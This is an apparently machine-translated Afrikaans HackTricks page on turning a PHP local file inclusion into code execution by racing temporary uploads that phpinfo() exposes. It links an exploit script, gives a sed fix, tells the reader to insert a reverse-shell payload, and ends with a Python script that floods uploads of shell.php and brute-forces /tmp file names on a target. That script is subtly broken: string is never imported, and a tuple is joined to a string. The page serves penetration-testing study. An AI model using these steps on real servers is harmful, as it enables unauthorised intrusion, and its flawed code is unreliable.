tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Om hierdie kwesbaarheid te benut, benodig jy: 'n LFI kwesbaarheid, 'n bladsy waar phpinfo() vertoon word, "file_uploads = on" en die bediener moet in staat wees om in die "/tmp" gids te skryf.
https://www.insomniasec.com/downloads/publications/phpinfolfi.py
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Jy moet die eksploitasie regmaak (verander => na =>). Om dit te doen, kan jy:
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
U moet ook die payload aan die begin van die exploit verander (vir 'n php-rev-shell byvoorbeeld), die REQ1 (dit moet na die phpinfo-bladsy wys en die padding ingesluit hĂȘ, d.w.s.: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), en LFIREQ (dit moet na die LFI kwesbaarheid wys, d.w.s.: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Kontroleer die dubbele "%" wanneer jy die null char exploiteer)
Teorie
As opgelaai word in PHP en jy probeer om 'n lĂȘer op te laai, word hierdie lĂȘers in 'n tydelike gids gestoor totdat die bediener klaar is met die verwerking van die versoek, dan word hierdie tydelike lĂȘers verwyder.
As jy 'n LFI kwesbaarheid in die webbediener gevind het, kan jy probeer om die naam van die tydelike lĂȘer wat geskep is te raai en 'n RCE te exploiteer deur toegang te verkry tot die tydelike lĂȘer voordat dit verwyder word.
In Windows word die lĂȘers gewoonlik gestoor in C:\Windows\temp\php
In linux was die naam van die lĂȘer gewoonlik random en geleĂ« in /tmp. Aangesien die naam random is, is dit nodig om van ĂȘrens die naam van die tydelike lĂȘer te onttrek en dit te benader voordat dit verwyder word. Dit kan gedoen word deur die waarde van die variabele $_FILES binne die inhoud van die funksie "phpconfig()" te lees.
phpinfo()
PHP gebruik 'n buffer van 4096B en wanneer dit vol is, word dit na die kliĂ«nt gestuur. Dan kan die kliĂ«nt 'n groot aantal groot versoeke stuur (met groot koptekste) wat 'n php omgekeerde shell oplaai, wag vir die eerste deel van die phpinfo() om teruggestuur te word (waar die naam van die tydelike lĂȘer is) en probeer om toegang tot die tydelike lĂȘer te verkry voordat die php-bediener die lĂȘer verwyder deur 'n LFI kwesbaarheid te exploiteer.
Python-skrip om te probeer om die naam te bruteforce (as lengte = 6)
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.